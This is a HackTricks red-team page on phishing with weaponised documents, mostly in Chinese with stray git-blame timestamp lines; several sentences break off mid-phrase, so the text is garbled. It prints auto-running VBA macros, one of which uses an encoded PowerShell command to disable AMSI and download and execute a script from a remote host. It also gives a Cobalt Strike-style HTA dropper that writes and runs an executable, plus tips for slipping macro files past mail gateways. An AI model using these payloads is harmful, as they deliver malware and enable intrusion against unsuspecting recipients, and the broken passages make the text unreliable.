2024-07-18 22:08:20 +00:00
# Phishing Files & Documents
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
< details >
2024-07-18 22:08:20 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:08:20 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
## Office Documents
2022-09-03 09:30:58 +00:00
2024-07-18 22:08:20 +00:00
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行，符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误，正在分析的文件将无法打开。
2020-12-21 17:07:56 +00:00
2024-07-18 22:08:20 +00:00
通常，包含宏的 Word 文件使用 `.docm` 扩展名。然而，可以通过更改文件扩展名来重命名文件，并仍然保持其宏执行能力。\
例如，
相同的内部机制适用于 Microsoft Office 套件的所有软件（
2020-12-21 17:07:56 +00:00
2024-07-18 22:08:20 +00:00
您可以使用以下命令检查某些 Office 程序将执行哪些扩展名：
2020-12-21 17:07:56 +00:00
```bash
assoc | findstr /i "word excel powerp"
```
2024-07-18 22:08:20 +00:00
DOCX 文件引用远程模板（文件 - 选项 - 插件 - 管理：模板 - 转到）并包含宏也可以“执行”宏。
### 外部图像加载
2020-12-21 17:07:56 +00:00
2024-07-18 22:08:20 +00:00
转到：
_**类别**：链接和引用，**字段名称**： ， ：
2020-12-21 17:07:56 +00:00
2024-05-05 22:03:00 +00:00
 . png > )
2020-12-21 17:07:56 +00:00
2023-08-03 19:12:22 +00:00
### 宏后门
2020-12-21 17:07:56 +00:00
2023-08-03 19:12:22 +00:00
可以使用宏从文档中运行任意代码。
2022-09-03 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
#### 自动加载函数
2022-09-03 09:30:58 +00:00
2024-07-18 22:08:20 +00:00
它们越常见，
2022-09-03 09:30:58 +00:00
* AutoOpen()
* Document\_Open()
2023-08-03 19:12:22 +00:00
#### 宏代码示例
2022-09-03 09:30:58 +00:00
```vba
2021-10-25 23:03:11 +00:00
Sub AutoOpen()
2023-08-03 19:12:22 +00:00
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
2021-10-25 23:03:11 +00:00
End Sub
```
2022-09-03 09:30:58 +00:00
```vba
Sub AutoOpen()
2023-08-03 19:12:22 +00:00
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
2022-09-03 09:30:58 +00:00
End Sub
```
```vba
2020-12-21 17:07:56 +00:00
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
2023-08-03 19:12:22 +00:00
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
2020-12-21 17:07:56 +00:00
```
2022-09-03 09:30:58 +00:00
```vba
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell < beacon line generated >
```
2023-08-03 19:12:22 +00:00
#### 手动删除元数据
2020-12-21 17:07:56 +00:00
2024-07-18 22:08:20 +00:00
转到 **文件 > 信息 > 检查文档 > 检查文档** ，这将打开文档检查器。点击 **检查** ，然后在 **文档属性和个人信息** 旁边点击 **全部删除** 。
2022-09-03 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
#### 文档扩展名
2022-09-03 09:30:58 +00:00
2024-02-07 05:49:16 +00:00
完成后，选择 **另存为类型** 下拉菜单，将格式从 ** `.docx` ** 更改为 **Word 97-2003 `.doc`** 。\
2024-07-18 22:08:20 +00:00
这样做是因为你 **不能在 `.docx` 中保存宏** ，而且 ** `.docm` ** 扩展名有一定的 **污名** （例如，缩略图图标上有一个巨大的 `!` ，一些网络/电子邮件网关完全阻止它们）。因此，这个 **遗留的 `.doc` 扩展名是最佳折衷** 。
2022-09-03 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
#### 恶意宏生成器
2022-09-03 09:30:58 +00:00
* MacOS
2023-08-03 19:12:22 +00:00
* [**macphish** ](https://github.com/cldrn/macphish )
* [**Mythic Macro Generator** ](https://github.com/cedowens/Mythic-Macro-Generator )
2022-09-03 09:30:58 +00:00
2024-02-07 05:49:16 +00:00
## HTA 文件
2022-09-03 09:30:58 +00:00
2024-07-18 22:08:20 +00:00
HTA 是一个 Windows 程序，它 **结合了 HTML 和脚本语言（如 VBScript 和 JScript） 。它生成用户界面并作为“完全信任”的应用程序执行，且不受浏览器安全模型的限制。
2022-09-03 09:30:58 +00:00
2024-07-18 22:08:20 +00:00
HTA 通过 ** `mshta.exe` ** 执行，通常与 **Internet Explorer** 一起 **安装** ，使得 ** `mshta` 依赖于 IE**。因此， ，
2022-12-03 17:35:56 +00:00
```html
< -- ! Basic HTA Execution -- >
< html >
2023-08-03 19:12:22 +00:00
< head >
< title > Hello World< / title >
< / head >
< body >
< h2 > Hello World< / h2 >
< p > This is an HTA...< / p >
< / body >
< script language = "VBScript" >
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
< / script >
2022-12-03 17:35:56 +00:00
< / html >
```
2022-09-03 09:30:58 +00:00
```html
2022-09-09 14:57:43 +00:00
< -- ! Cobal Strike generated HTA without shellcode -- >
2022-09-03 09:30:58 +00:00
< script language = "VBScript" >
2023-08-03 19:12:22 +00:00
Function var_func()
var_shellcode = "< shellcode > "
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("& H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
2022-09-03 09:30:58 +00:00
< / script >
```
2023-08-03 19:12:22 +00:00
## 强制 NTLM 认证
2020-12-21 17:07:56 +00:00
2024-07-18 22:08:20 +00:00
有几种方法可以**“远程”强制 NTLM 认证**，例如，您可以在用户访问的电子邮件或 HTML 中添加**隐形图像**（甚至是 HTTP MitM？ ）
2022-09-03 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
**在以下页面中查看这些想法和更多内容：**
2022-09-03 09:30:58 +00:00
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md ](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md )
{% endcontent-ref %}
{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
[places-to-steal-ntlm-creds.md ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### NTLM 中继
2022-09-03 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
不要忘记，您不仅可以窃取哈希或认证，还可以**执行 NTLM 中继攻击**：
2021-08-10 14:04:23 +00:00
2023-08-03 19:12:22 +00:00
* [**NTLM 中继攻击** ](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack )
2024-07-18 22:08:20 +00:00
* [**AD CS ESC8 (NTLM 中继到证书)** ](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8 )
{% hint style="success" %}
学习与实践 AWS 黑客技术：< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP 黑客技术：< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
< details >
2024-07-18 22:08:20 +00:00
< summary > 支持 HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **在** **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**上关注我们。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来分享黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:08:20 +00:00
{% endhint %}
